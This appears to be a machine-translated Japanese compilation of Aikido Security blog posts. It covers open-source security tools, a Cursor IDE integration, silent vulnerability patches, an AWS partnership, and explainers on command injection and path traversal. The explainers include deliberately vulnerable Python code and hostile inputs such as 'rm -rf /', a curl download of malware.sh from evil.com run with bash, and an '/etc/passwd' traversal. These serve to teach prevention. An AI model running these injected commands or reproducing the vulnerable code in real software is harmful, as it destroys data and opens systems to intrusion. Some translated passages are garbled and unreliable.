ブログへようこそ

セキュリティは、難しく、お金のかかる世界です。そこで私たちは、オープンソースのセキュリティ・ツールの包括的なガイドを作成し、でたらめな情報に切り込み、導入すべき最も重要なツールは何か、保護すべき資産は何か、フリーでオープンソースのツールだけを使って長期的なセキュリティ・プランを構築する方法を示すことにした。

ガイドのダウンロードはこちら

最も重要なツールとは？

利用可能なセキュリティ・ツールは無限にあるように見えるが、最初のステップは常にどこから始めるかを決めることだ。具体的な内容によって異なることもあるが、私たちは常に、攻撃者にとって危険の少ないものから始めることを推奨している。クラウドインフラが安全であること、攻撃者が見つけやすい秘密がないこと、エラーにつながる単純なコーディングミスがないこと、オープンソースのサプライチェーンに致命的な脆弱性がないことを確認してください。そこから、セキュリティを向上させるツールをさらに導入し、ソフトウェア開発ライフサイクル全体を通じて、より多くのベストプラクティスを導入することができる。

どのようなツールがありますか？

素晴らしいオープンソースのツールはたくさんあり、あなたのスタックや正確なニーズにもよるだろうが、以下に我々がゴールドスタンダードと考え、手始めに最適と考えるものをいくつか紹介する。

CSPM (クラウド・セキュリティ・ポスチャー・マネジメント)

Cloudsploit
CSPMはクラウド資産を保護するために不可欠なツールであり、CloudsploitはオープンソースのCSPMである。このプロジェクトは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)などのクラウド・インフラ・アカウントのセキュリティ・リスクを検出する。

秘密の検出

Trufflehog｜gitleaks.
シークレットは、新しいシステムへの迅速な横の動きを可能にするため、攻撃者にとって価値の高いターゲットです。実際、侵害の83%でシークレットが使用されています。シークレットが存在する場所、特にあなたの git リポジトリでシークレットを検出することが不可欠です。オープンソースのシークレット対策ツールとしては、Trufflehogとgitleaks があります。

SCA（ソフトウェア構成分析）

Trivy|Dependency-Check| Dependency-Track
オープンソースの依存関係は、私たちのアプリケーションのコードの85％を占めています！どのオープンソースコンポーネントに脆弱性が含まれているかを知ることは非常に重要です。SCAツールは、アプリケーションで使用しているオープンソースの依存関係を分析し、それらに対して既知の脆弱性があるものを特定します。Trivy、Dependency-Check、Dependecy-Trackは、オープンソースのリスクを理解するのに役立つ素晴らしいツールです。

SAST（静的アプリケーション・セキュリティ・テスト）

Bandit｜Breakeman｜GoSec｜SemGrep
SASTは、セキュリティ問題につながる可能性のあるミスがないか、ソースコードをレビューします。SASTが発見できる最も一般的なエラーには、インジェクションの脆弱性、暗号化の失敗、バッファオーバーフローがあります。あなたが選択するツールは、あなたの特定の技術スタックに特化する必要があります。Bandit（Python）、Breakeman（Ruby）、GoSec（Go）、SemGrep（Generic）などがあります。

DAST（ダイナミック・アプリケーション・セキュリティ・テスト）

Nuclei｜Zap
DASTツールは、悪用可能な脆弱性を発見するために、あなたのドメインに対して攻撃を実行する自動ハッカーのように機能する。2つの素晴らしいオープンソースツールはNucleiと Zapです。

マルウェア検出

Phylum
Classic SCAツールは、公表されている脆弱性に依存しています。マルウェア検出は、報告されていないかもしれないパッケージ内部の悪意のあるコードを発見することです。技術的には完全なオープンソースではありませんが、彼らのCLIスキャンツールと一緒に使える無料版があります。

IaCスキャニング

Checkov
Infrastructure as codeのおかげで、クラウド・インフラストラクチャのプロビジョニングとデプロイがより確実かつ簡単にできるようになった。しかし、これはセキュリティ問題を引き起こす設定ミスにつながる可能性がある。前述したCSPMツールはクラウド・インフラストラクチャのエラーを見つけることができるが、IaCスキャンはデプロイ前にエラーの発生を防ぐことができる。Checkovは、セキュリティ上の問題をスキャンできる優れたツールだ。

アプリ内ファイアウォール

Zen|Zen Python
セキュリティの左遷（ライフサイクルの早い段階でのセキュリティの移行）についての実際のトレンドがあります。これは素晴らしいことですが、この反対側をないがしろにして、実行中のアプリケーションにセキュリティを実装すべきではありません。Zen byAikido オープンソースのアプリ内ファイアウォールで、実行時にインジェクションのような攻撃をブロックし、二次的な保護レベルを追加することができる。Zen Python

使用済み部品

endoflife.date
オープンソースのサプライチェーンの大きなリスクは、メンテナンスされなくなったコンポーネントである。endoflife.dateは、もはやメンテナンスされておらず、本番で使うべきでないプロジェクトの素晴らしいデータベースである。

ライセンス保護

Trivy
アプリケーションで正しいオープンソースライセンスを使用していることを認識することは重要です。Trivyは、オープンソースライセンスの種類とそれらがどのように使用されているかについての素晴らしい洞察を提供します。

オープンソースのツールは商用版と同等か？

オープンソースのツールは、スキャン能力という点では非常に高品質である。しかし、ノイズ除去、修復、モニタリングに関しては、商用ツールの方が優れている。Aikido ような多くの商用ツールは、オープンソースのスキャナーを使用している。オープンソースのツールを使用することを恐れるべきではありませんが、オープンソースのツールを使用することは、特に成長するにつれて、多くのエンジニアリング時間を必要とすることに注意してください。

オープンソースのセキュリティツールを使う理由

• 参入障壁がない（すぐに無料で始められる）
• オープンソースは、取締役会の賛同を得るための素晴らしいツールである。
• 高品質のスキャナ（多くのオープンソースツールは、スキャニングの能力において一致している）
• 地域支援

なぜオープンソースのセキュリティツールを使わないのか

• セットアップが難しい。オープンソースのツールは、さまざまな言語やフレームワークを使用しているため、それらをうまく使いこなすのは難しい。
• ノイズの多いオープンソースのツールは、発見を重視する傾向があるため、フィルタリングの追加レイヤーを作成しなければ、多くの偽陽性をもたらす可能性がある。
• サポートは限定的、道具が壊れたら自己責任
• RBACなし。最新の開発では、チーム全体が関与することが重要だ。オープンソースのセキュリティは、役割間のフィルタリングを許さないため、セキュリティチームにとって大きな負担となる。

商用ツールよりオープンソースの方が良いという正解はなく、どちらにも適材適所がある。

Aikido 違い

オープンソースのセキュリティ・ツールを調査している場合、商用ツールは高価である一方、オープンソースのツールはダッシュボードに一元化するために多くの作業が必要であることに気づいたか、または気づくことになるでしょう。Aikido 、この課題を理解し、オープンソースプロジェクトをシームレスに統合し、単一のダッシュボードに一元化し、自動トリアージと修復ワークフローですべてのセキュリティ問題にコンテキストをもたらす製品を作成しました。これにより、大規模な商用ツールのパワーをわずかな価格で利用することができます。

無料で始める

Cursor AIは瞬く間に注目のAIコードエディターとなり、より速く効率的にコードを書きたい開発者の間で急速に人気を集めている。しかし、Cursorはコーディングを加速させる一方で、開発者はGen AIコードの安全性をどのように信頼できるのだろうか？

TL;DR:Aikido x Cursorを使えば、開発者は生成されたコードをそのままセキュアにすることができる。

Cursorは、VSCode上に構築された「AIネイティブ」IDEである。Cursorは、Github Co-pilot、Cognition、Poolside、Magic、Augmentなどと競合し、AIコーディングのコパイロット・スタートアップとしてますます混雑している分野で運営されている。

Cursorは2022年に設立されたが、CursorがGen AIコードレースの先頭に躍り出たのは2024年半ばのことで、CursorがデフォルトモデルとしてSonnet 3.5Mを追加したのと同時期だった。以下は、substackのNo.1技術ニュースレターであるGregely Oroszによる先週の「The Pragmatic Engineer」からのスナップショットで、GenAI機能を持つIDEを開発者がどのようにランク付けしているかを取り上げて いる：

回答者のほとんどがアーリーアダプターである可能性が高いとはいえ、新規参入企業であるCursorがこれほど早く人々の心を掴んでいるのは、非常に印象的なことだ。彼らがその後、Andreessen Horowitz、Thrive Capital、OpenAI、Jeff Dean、Noam Brown、そしてStripe、GitHub、Ramp、Perplexity、OpenAIの創業者等からシリーズAで6,000万ドルの資金を調達したのも不思議ではない。

そのため、Aikido SecurityはCursor AIとの新しい統合を開始することに興奮しています。Aikido x CursorはCursor IDEにリアルタイムのセキュリティをもたらし、開発者が歩みを止めることなく、最初から安全なコードを書き、生成できるようにします。

統合の仕組み

今日、Aikido Cursor IDEに直接統合することができます。Aikido 、開発中にファイルを開いたり保存したりするたびに、コードベースの秘密、APIキー 、SAST コードの問題をスキャンします。

何らかの問題が検出された場合、Aikido エディター上でそれらをハイライトし、問題パネルに問題を表示します。検出されたSASTの問題にカーソルを合わせると、その問題についての補足説明が表示されます。場合によっては、チャットでのカーソルの提案で問題を修正することもできます（まだ未熟ですが）。

1. 脆弱性を即座に検出
   Aikidoは、コードが生成される際にスキャンを行い、リアルタイムでセキュリティの脆弱性を特定します。明確で簡潔な説明により、何が問題で、なぜそれが重要なのかを確実に知ることができます。
2. ワンクリックで問題を修正
   脆弱性にフラグが立てられると、Cursor はワンクリックで修正案を生成できます。Cursorのチャット・インターフェースから直接適用できます。Cursorの提案のすべてが有効ではないことに注意してください。
3. 集中し続ける
   すべてがCursor IDE内で行われます。ツールを切り替えたり、外部スキャンを実行したり、別々のプラットフォームを使いこなす必要はありません。Aikido IDEにシームレスに統合されているので、コードの安全性を確認しながらビルドに集中できます。

なぜ重要なのか

AIがエンジニアリングに与える影響に疑いの余地はない。AIコードジェネレーターやコ・パイロットは無謬ではない。一方では、Gen AIはセキュリティを向上させるために使用することができる（これについてはすぐに詳しく説明する！）。その一方で、AIは必然的に脆弱性も導入することになる。私たちは皆、AIが細部まで完成させる日を待ち望んでいる。今日、我々は一歩近づいた。

この統合により、開発者は高速レーンにとどまり、AI駆動ツールの長所を活用しながら、安全なアプリケーションを構築することができる。セキュリティを完了させましょう。構築に戻る。

始めてみる

Cursorユーザー向けにAikido 統合が可能になりました。今のところ、統合するには有料サブスクリプションが必要です。以下の手順に従ってください：

ステップ1. Visual Studio Code Marketplaceに移動し、Cursorに拡張機能をインストールする方法の指示に従います。

ステップ2. Aikido Cursor IDEインテグレーションページに行き、トークンを作成します。

ステップ3. Visual Studio Marketplaceの ドキュメントにあるサンプルをチェックし、 すべてがうまく動作するかテストして ください。

ステップ4.建築に戻る。

生成されたコードの安全性を確保する。

インテルは、AIと社内リサーチチームによる オープンソースのセキュリティ脅威フィードです。インテルは 、オープンソースパッケージの脆弱性を監視し、 公開される前に発見します。 その多くは決して公開されることはありません。

サイレントパッチが適用されたソフトウェアの脆弱性の67％は公表されなかった

オープンソースソフトウェアは、文字通り世界を動かしている。しかし、オープンソースのセキュリティは、セキュリティ上の大きな懸念事項でもある。オープンソースのツールは、他のものと同様に、セキュリティの脆弱性をもたらす可能性があります。これらは、攻撃者がアプリケーションを悪用するために利用することができます。ソフトウェア・ベンダーは、自らの過失によらず、攻撃される可能性があるのです。そのため、オープンソースのセキュリティは非常に重要なトピックなのです。

私たちは、オープンソースコミュニティにこれらのツールの構築と保守を依存しているだけでなく、既知のセキュリティ脆弱性を修正することも依存しています。重要なことは、脆弱性が 発見されたときに、その脆弱性を公に報告 することです。コミュニティからの脆弱性の公開は、オープンソースのセキュリティの基礎を形成します。

サイレント・パッチ（シャドウ・パッチ）とは、セキュ リティ修正が適用（パッチ適用）されているにもかかわらず、公表されな いパッチのことである。これは、ベンダーがリスクを認識しないまま脆弱なソフトウェアを運用している可能性があることを 意味するため、大きな問題となる。

私たちは、あなたに影響を与える可能性のあるサイレント・パッチが適用されたソフトウェアを影から救い出すために、Aikido Intelを立ち上げます。Aikido Intelにより、開発者に影響を与える可能性のある脆弱性を発見した場合、可能な限り早い段階で警告を与え、オープンソースのセキュリティを向上させることができます。

Aikido インテルとは？

Aikido Intelは、オープンソースのサプライチェーンにおける脆弱性を可能な限り早い段階で発見することで、オープンソースのセキュリティを向上させるためのAI + 社内研究チームによるイニシアチブです。脆弱性データベースで公開される前であっても。これを達成するために、私たちはカスタムトレーニングされたLLMを使ってパッケージの変更をレビューし、セキュリティ問題が修正されたタイミングを特定します。

すべてのソフトウェアがそうであるように、オープンソースも新しいバージョンごとに調整された内容の変更ログを保持している。インテルはAIを使って、これらの公開変更ログとリリースノートをすべて読み、セキュリティ問題が修正された例を見つける。そして、5つの脆弱性データベースと照合し、問題が報告されているかどうかを確認します。もし報告されていなければ、セキュリティ・エンジニアが脆弱性を分析・評価し、Aikido 脆弱性番号と深刻度を付与して公表します。詳しくは後ほど

Aikido インテルを今すぐチェック

数字で見るAikido インテル

1月にAikido立ち上げて以来、 インテルは511件の脆弱性を発見した。の脆弱性を発見し、パッチを当てたが公表しなかった。

脆弱性にパッチを当ててから、その問題にCVE番号が割り当てられるまでに時間がかかることがあります。Aikido 毎週、過去の脆弱性の状況を再評価し、CVEが付与されているものがあるかどうかを確認しています。私たちが発見した脆弱性の67％は、どの脆弱性データベースにも公表されていないものでした！

深刻度が低い脆弱性ほど頻繁にサイレント・パッチが適用されるのは驚くことではないが、深刻度が高く重要な脆弱性の50％以上が公表されないというのは衝撃的である。これは、開発者やソフトウェア・ベンダーにとって大きな盲点となる。

さて、皆さんの中には、おそらくこれらはセキュリティ・ポリシーが限定的な、あまり人気のない、小さなオープンソース・プロジェクトなのだろう、と席を立ってもじもじしている人もいるだろうが、実はそれは間違いだ。私たちは、いくつかの非常に大規模なプロジェクトで、公表されていない脆弱性を発見しました。.

Axiosはブラウザとnode.jsのための約束ベースのHTTPクライアントで、毎週5600万ダウンロードされ、146,000以上の依存先を持つ。

この脆弱性に関する面白い事実がある： この脆弱性は、実はAikido インテルが最初に発見した脆弱性だった（2023-10001参照）。この脆弱性は現在も公表されていない！

Axiosだけでなく、他にも特別に賞賛に値する名前がいくつかある。アパッチは、公開されていなかったクロスサイト・スクリプティングの脆弱性をエカルツ・ソフトウェアにサイレント・パッチした。

私たちが発見したもうひとつの興味深い例は、9月にパッチが適用されたものの、その脆弱性が公表されなかったチェーンリットのクリティカル・パス・トラバーサル脆弱性である。

最も一般的な脆弱性

クロスサイト・スクリプティングは、最も一般的な未公開の脆弱性で、14.8%を占め、次に機密情報の漏洩が12.3%でした。全体として90種類の脆弱性が検出され、ロングテールの結果となりました。

発見された最も一般的な脆弱性

キューティクルと高度の脆弱性だけを見てみると、リモート・コード実行がリストの1位を占めており、少し違った様相を呈している。

発見された最も一般的な脆弱性 - クリティカルとハイのみ

開示までの時間

この記事を書いている時点では、67%のパッケージが脆弱性を公表していないが、31%は公表している。脆弱性を公開したパッケージのうち、パッチがリリースされてから CVE が割り当てられるまでにかかった日数は平均 27 日でした。私たちが観測した最短時間はわずか1日で、 最長時間は9ヶ月だった！

インテルの仕組み（詳細）

しかし、IntelはAikidoセキュリティ・リサーチ・チームのイニシアチブであり、AikidoAIチームは、オープンソースのセキュリティを向上させるために公開脅威フィードを提供するために、ループ内の人間とAIを活用している。

インテルは、公開されているすべての変更履歴とリリース・ノートに目を通し、セキュリティ修正が行われたにもかかわらず公開されていないかどうかを把握する。 これを実現するために、2つのLLMモデルが使用されます。1つはデータをフィルタリングし、不要なコンテキストをすべて削除するためのもので、2つ目のLLMは脆弱性分析に集中することができます。そして、人間のセキュリティ・エンジニアが LLM の発見をレビューし、発見を検証し、脆弱性が確認されたときに Intel をリリースする。

これは、脆弱性のためにこれらすべてのシステムをスキャンしようとするよりも著しく少ない計算能力を消費するため、このように効果的な方法である。とはいえ、1年以上かけて多くの真の結果を見つけることが証明されている。

Aikido インテルによる変更履歴の見方

チェンジログとは、オープンソースプロジェクトにおいて更新、バグ修正、機能追加、パッチを記録するために維持されるドキュメントである。例として以下が挙げられる。 CHANGELOG.md ファイル、コミットメッセージ、GitHubのリリースノート。

インテル® LLM は、セキュリティ関連の変更を示唆するエントリーを特定するために、以下の項目を検索する：

• キーワード「脆弱性」、「セキュリティ」、「修正」、「エクスプロイト」、「入力検証」など。
• 文脈上の合図：「重大なバグを修正した」、「バッファオーバーフローを修正した」、「認証の問題を解決した」。

LLMがフラグを立てたエントリー例：
-
- サービス拒否攻撃につながる可能性のあるメモリリークを解決しました。
- ファイルアップロード機能におけるパストラバーサルの脆弱性に対処しました。

オープンソースのセキュリティ、脆弱性の適切な開示方法

先に述べたように、公開はオープンソースのセキュリティの大きな要素である。ソフトウェアに脆弱性があることを公表するために、いくつかの異なるデータベースが使われている。主なデータベースは、米国政府が管理している国家脆弱性データベース（NVD）である。このデータベースは、企業がサプライチェーンをチェックするために使われるだけでなく、プロジェクトをこのデータベースや他のデータベースと照合してチェックするセキュリティ・ソフトウェア（SCAソフトウェア）にも使われている。その他にも、MitreのCommon Vulnerabilities and Exposuresデータベース（CVE）、GitHub Advisoryデータベースなど複数のデータベースがあり、Aikido 合計で5つの異なるデータベースと照合している。しかし、これらのデータベースのほとんどに共通しているのは、脆弱性が公開されること、通常は修正がリリースされた後であることです。

なぜ脆弱性が公表されないのか？

これは良い質問であり、脆弱性を開示しない正当な理由はないということから始めたい。おそらく最も一般的なのは、あなたのソフトウェアが安全でないとみなされるかもしれないという風評リスクでしょうが、私は、開示することよりも開示しないことで失うものの方がはるかに大きいと主張します。

シャドーパッチがオープンソースのセキュリティにとって問題である理由

ソフトウェアの脆弱性を公表しないことは、ユーザーにとって大きなリスクとなる。 壊れていないなら直すな 」ということわざがあるように 、これはソフトウェアにもよく当てはまります。

ソフトウェアのコンポーネントをアップデートすると、パフォーマンスやユーザビリティに問題が生じたり、単にアプリケーションが壊れたりすることがよくあります。このようなことを念頭に置いて、新しいバージョンが利用可能になったらすぐにパッケージをアップデートするというのは、必ずしも一般的なやり方ではありません。

しかし、コンポーネントにセキュリティ上の問題がある場合、オープンソースやサードパーティのコンポーネントをアップデートする緊急性が変わるため、それを知ることは重要です。この情報が開示されないということは、ユーザーがアップデートをする可能性が低いということであり、つまり、ユーザーが知らないうちにツールにセキュリティ上の欠陥があるということである。

隠れた脆弱性によってセキュリティが損なわれないようにしましょう。

サプライチェーンを保護し、安心感を得るために、今すぐAikido Securityと提携してください。

夏には、AWSマーケットプレイスで、AWSの新規ユーザー向けに業界最速の「Time-to-Security」を約束する製品を発表しました。

また、AWSパートナーネットワーク（APN）にも正式に加盟しました。

これはAWSのFoundational Technical Review (FTR)を通過したことを意味します。私たちはFTR承認済み*であり、AWSによって実施されたよく練られたベストプラクティスを満たしています。）

もうすぐ合気道で Aikido FTRの認可を得ることができる.Aikido 機能をFTRのセキュリティ・プロセスに対応させることで、AWSとの共同販売を迅速に開始することができます。興味がありますか？→ こちらからサインアップしてください。

AWSの公式パートナーになることで、AWSコミュニティへのアクセスがさらに広がります。私たちは、クラウドネイティブのお客様により良いサービスを提供し、カスタマージャーニーにおける不必要な複雑さを排除し、AWSクラウドユーザーのために独自のCloud Security Posture Management（CSPM）製品を拡張することができます。

なぜAikido AWS料金に追加するのか？

Aikido Securityは、コードからクラウドまでを包括的にカバーし、AWSのフルスタック機能とうまく連携している。これは、統一プラットフォーム上でアプリケーションとクラウドの両方のセキュリティを管理するAWSの顧客にとって特に価値がある。

AWS環境との直接的な統合は、Aikido EC2、S3、LambdaなどのAWSサービス全体の脆弱性をスキャンすることを可能にし、AWS内のセキュリティ可視性を強化し、クラウドネイティブアーキテクチャを補完し、デプロイを簡素化します。AikidoAWSポスチャ管理は、AWS Inspector上に構築されています。ハッカーがお客様のクラウドに初回アクセスする原因となる発見を示すことができます。

さらに、Aikidoビルトイン ビルトインのコンプライアンスチェックは、主要な標準（SOC2、ISO 27001、NIS 2、HIPAA）と整合しており、AWSのお客様がAWSのインフラストラクチャ全体のコンプライアンスを維持することを容易にします。

興味がおありですか？AWSマーケットプレイスで私たちを見つけましょう

コマンド・インジェクションとは？

コマンド・インジェクションは、SQL インジェクションやコード・インジェクションほど有名ではありませんが、ウェブ・アプ リケーションにおいて未だに広く見られる脆弱性です。もしあなたが他のインジェクションの脆弱性に精通しているなら、共通の原則を認識するでしょう：信頼されな いユーザ入力が適切に検証されず、任意のシステムコマンドの実行につながるというものです。この欠陥は、検証されていない入力がシステムレベルの関数に渡されたときに発生します。では、コマンド・インジェクションは実際にどの程度目立つのだろうか？ 私たちは、この脆弱性がどの程度一般的に見られるかを調べました！

コマンド・インジェクションの例

このコマンド・インジェクションの例を考えてみましょう。サーバーにホストされているファイルの名前を入力できるアプリケーションがあるとします。アプリケーションはそのファイルを取得し、内容を書き出します。そのコードは以下の通りです

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

上記のコードは、ユーザーが次のようなファイル名を挿入することを想定しています。 ファイル.txt しかしその代わりに、悪意のあるユーザーがコードを注入して悪意のあるコマンドを実行する。

例えば
ファイル名 file.txt; rm -rf /.

この入力は、まず ファイル.txt を実行し、悪意のある rm -rf コマンドは、ディレクトリ内のすべてのファイルを強制的に削除する。

悪意のあるユーザは、アプリケーションがユーザの入力を検証またはサニタイズしていないため、コマンド・インジェクション の影響を受けやすく、これを行うことができます。

より包括的な例をご覧になりたい方は、このページの下にあるボーナス・コンテンツをご覧ください。をご覧ください。

数字で見るコマンド・インジェクション我々の研究

• 2024年にオープンソースプロジェクトで発見された全脆弱性の7 ％がコマンドインジェクションだった
• クローズド・ソース・プロジェクトでは5.8％ ！
• オープンソースプロジェクトにおけるコマンドインジェクションの脆弱性の総数が2,348件（2023年）から2,600件（2024年）に増加する見込み。
• 全脆弱性に占めるコマンドインジェクションの割合は、2023年から2024年にかけて、オープンソースプロジェクトで14.6％、クローズドソースプロジェクトで26.4％減少している。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、その中にコマンドインジェクションの脆弱性がどれだけ隠れているかを明らかにすることに重点を置いた。

オープンソースプロジェクトで報告された全脆弱性の7%がコマンドインジェクションであり、クローズドソースプロジェクトでは5.8%であった。 これは、SQL インジェクションの脆弱性の発見数にかなり近い。

2023年から2024年にかけて、これらの脆弱性が減少するという確かな傾向が見られます。全脆弱性の割合としては、クローズドソースプロジェクトで27％、オープンソースで14％減少しています。これには多くの要因があると思われますが、重要な要因のひとつは、2024年にFBIとCISAがコマンド・インジェクションを現実の脅威として指摘し、ベンダーに注意を促したことでしょう。データによれば、この警告は聞き入れられた。

良いニュースは残念ながらそこで止まっている。オープンソースプロジェクトで報告された脆弱性の数は、全体的にまだ増加している。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の2,348件から、2024年の今のところ2,450件に増加している（2,600件に達する見込み）。

コマンド・インジェクションを防ぐには

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

サーバー側の入力検証

よくある間違いは、攻撃者が直接リクエストすることでバイパス可能なクライアント側のバリデーションだけを実行することである。

import subprocess

# 入力制限の例
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # これはユーザーからのものであるべきだが、検証される

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")

シェルコマンドを避ける

可能であれば、シェルコマンドを言語固有の関数やライブラリに置き換える。以下は、読み取り専用モードを使ってファイルを開き、その中のコンテキストを読み取る例である。

with open("file.txt", "r") as f:
print(f.read())

自動テスト

Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。

アプリ内ファイアウォールを使用する

インジェクション攻撃に対する最善の防御策の1つは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール です。Aikidoアプリ内ファイアウォール Zenはオープンソースと商用で提供されており、実行時にインジェクション攻撃を検知してブロックすることができる。

最小特権の原則の適用

アプリケーションとユーザが必要最小限の権限で実行されるように設定し、悪用による潜在的な損害を減らす。

前進への道

コマンド・インジェクションは、多くのインジェクション脆弱性とともに、技術的な観点からは課題である。そのことを念頭に置いても、この種の脆弱性がいまだに多く見られるということは、飛躍的な改善は期待できないということだ。

コマンド・インジェクションは今後も問題であり続けるだろうが、今年、大規模な組織がこの脆弱性に注目した結果、大幅に減少した。

ボーナス・コンテンツ

コマンド・インジェクションの歴史：著名な侵害

コマンド・インジェクションは長い間、根強い脅威だった。実際、1989年から2014年まで、bashには重大なコマンド・インジェクションの脆弱性が存在していた。さらに最近の2024年には、CISAとFBIによってコマンド・インジェクションの重要性が強調され、依然として大きな懸念事項であることが示された。

1.コマンド・インジェクションの黎明期

• 最初に知られた使われ方コマンド・インジェクションの脆弱性は、1970年代から1980年代にかけてのマルチユーザー・コンピューティング・システムの台頭とともに出現し、攻撃者は未消化の入力を介して任意のコマンドを実行できるようになった。
• 1980年代と1990年代：ウェブ技術の普及により、コマンド・インジェクションの悪用が増加し、特に不適切に保護されたCGIスクリプトが悪用されるようになった。

2.重大な違反と悪用

• 1998:初めて文書化されたウェブベースのコマンド・インジェクション攻撃：広く使用されているPerlベースのCGIスクリプトの脆弱性が悪用され、ウェブベースのコマンド・インジェクションの最初の大きなインシデントの一つとなった。
• 2010:Stuxnet ワーム（組み込み型コマンド・インジェクション）：Stuxnet は、コマンド・インジェクションを利用して産業用制御システムを標的にし、従来の IT 環境を超えた脆弱性を示しました。

3.2010s:規模での搾取

• 2014: シェルショックの脆弱性:Shellshock (CVE-2014-6271) は、Bashのコマンド処理を悪用し、世界中の数百万のシステムに影響を与えました。
• 2018: Cisco ASA VPN のエクスプロイト (CVE-2018-0101):Cisco の ASA ソフトウェアにコマンドインジェクションの脆弱性があり、リモートでコードが実行され、企業のセキュリティが脅かされます。

4.2020s:現代のエクスプロイトとトレンド

• 2020: Citrix ADC Gateway Exploit：攻撃者は、Citrix システムのコマンドインジェクションの脆弱性を悪用し、重大なデータ侵害を引き起こしました。
• 2023: MOVEit の脆弱性（SQL およびコマンドインジェクション）:MOVEit Transfer ソフトウェアのコマンドインジェクションの欠陥により、複数の組織で広範なデータ漏洩が発生しました。

リアル・コマンド・インジェクションの脆弱性

脆弱なコード

コマンド・インジェクションのもう少し複雑な例を見てみよう。以下は単純な Python ウェブアプリケーションのコードです。にPOSTリクエストを送ることで、指定したファイルのZIPアーカイブを作成することができます。 /アーカイブ のルートだ。

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

仕組み

ユーザーが供給する：

• ファイル (例 file1.txt file2.txt) を使ってアーカイブに含めるファイルを指定する。
• アーカイブ名 で、結果のzipアーカイブの名前を指定する。

このコードはシェルコマンドを動的に構築する：

1. zip アーカイブ名.zip file1.txt file2.txt

2.2. os.system() 関数はコマンドを実行し、ユーザーが提供した入力がコマンドの動作を決定する。

搾取

攻撃者はこれを悪用し、追加コマンドを アーカイブ名 または ファイル を入力する。

攻撃側が提供する入力：

• アーカイブ名: my_archive; rm -rf /.
• ファイル: ファイル1.txt

コマンドの結果

zip my_archive.zip file1.txt; rm -rf /.

1. zip my_archive.zip file1.txt: 期待通りにアーカイブを作成する。
2. ; rm -rf /: 別の破壊的コマンドを実行することにより、サーバー上のすべてのファイルを削除する。

より洗練された例

攻撃者はこれを悪用してマルウェアをダウンロードしたり、データを流出させたりする可能性がある：

アーカイブ名: アーカイブ; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

結果コマンド：

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

このコマンド：

1. アーカイブを作成する (zip archive.zip file1.txt).
2. 悪意のあるコードをダウンロードするcurl -o malware.sh http://evil.com/malware.sh).
3. マルウェアを実行する(バッシュ malware.sh).
   

パストラバーサルは、ディレクトリトラバーサルとも呼ばれ、悪意のあるユーザがファイルやディレクトリに不正にアクセスするために、ユーザが提供したデータを操作する場合に発生します。通常、攻撃者は異なるディレクトリにあるログや認証情報にアクセスしようとします。パストラバーサルは新しい脆弱性ではなく、ウェブサーバーが人気を博した90年代から積極的に悪用されてきた。

このような長い歴史を持つパス・トラバーサルは、現在でも人気があるのだろうか？私たちはオープンソースとクローズドソースの両方のプロジェクトで調査を行い、2024年にパス・トラバーサルがどの程度一般的であったか、そして私たちが改善しているかどうか、スポイラーたちは改善していないのか、データを収集した。

パストラバーサル例

では、パストラバーサルは具体的にどのように機能するのだろうか？簡単な例を見てみよう。

この単純なアプリケーションでは、ユーザーはURLの変数を通してダウンロードするファイルを与えられる。

リクエストを処理する簡単なバックエンドのPythonコードがある。

import os

def download_file(file):
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path):
with open(file_path, 'rb') as f:
return f.read()
else:
return "ファイルが見つかりません"

変数がURLで提供されているので、次のように変更することができる。 ファイル=.../.../.../etc/passwd

ここで攻撃者は、./../を使ってディレクトリ構造をシステムのルートレベルまでたどり、渡されたファイルにアクセスし、機密情報にアクセスする可能性がある。

この方法がどのように安全なのか知りたい方は、ボーナスコンテンツまでスクロールしてください。

多層のディレクトリやエンコードされた文字を含む、より複雑なシナリオの場合（例． 2e%2e%2f)、攻撃者は基本的なフィルターを迂回し、ファイルシステムに深くアクセスすることができる。

数字によるパストラバーサル

• 2024年までにオープンソース・プロジェクトで発見された脆弱性の2.7％が パス・トラバーサルだった
• クローズド・ソース・プロジェクトの場合は3.5%！
• オープンソースプロジェクトにおけるパス・トラバーサル脆弱性の総数が742件（2023年）から1,000件（2024年）に増加する見込み。
• 全脆弱性に占めるパストラバーサル脆弱性の割合は、クローズドソースのプロジェクトが85％と大幅に増加し、より一般的になっている。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、どれだけの数のプロジェクトにパス・トラバーサル脆弱性が隠れているかを明らかにすることに重点を置いた。

パストラバーサル脆弱性の全体的な数は、コマンドインジェクションやSQLインジェクションなど、我々が調査した他の脆弱性よりも少ない。しかし、この脆弱性が非常に危険であり、それを防ぐための解決策が十分に文書化されていることを考えると、この数字がこれほど高いのは憂慮すべきことです。この脆弱性のトレンドが悪い方向に向かっているのを見るのは、さらに憂慮すべきことだ。

オープンソースプロジェクト

オープンソースプロジェクトでは、2023年に報告された全脆弱性の2.6％をパストラバーサルが占めた。この数値は2024年にわずかに増加し、2.75%に上昇した。この増加は一見わずかなものに見えますが、単純な脆弱性に対してさえオープンソースソフトウェアの安全性を確保する上での継続的な課題を浮き彫りにしています。

クローズド・ソース・プロジェクト

最も顕著な傾向はクローズド・ソース・プロジェクトに見られ、パス・トラバーサル・インシデントが2023年の1.9％から2024年には3.5％に急増した。

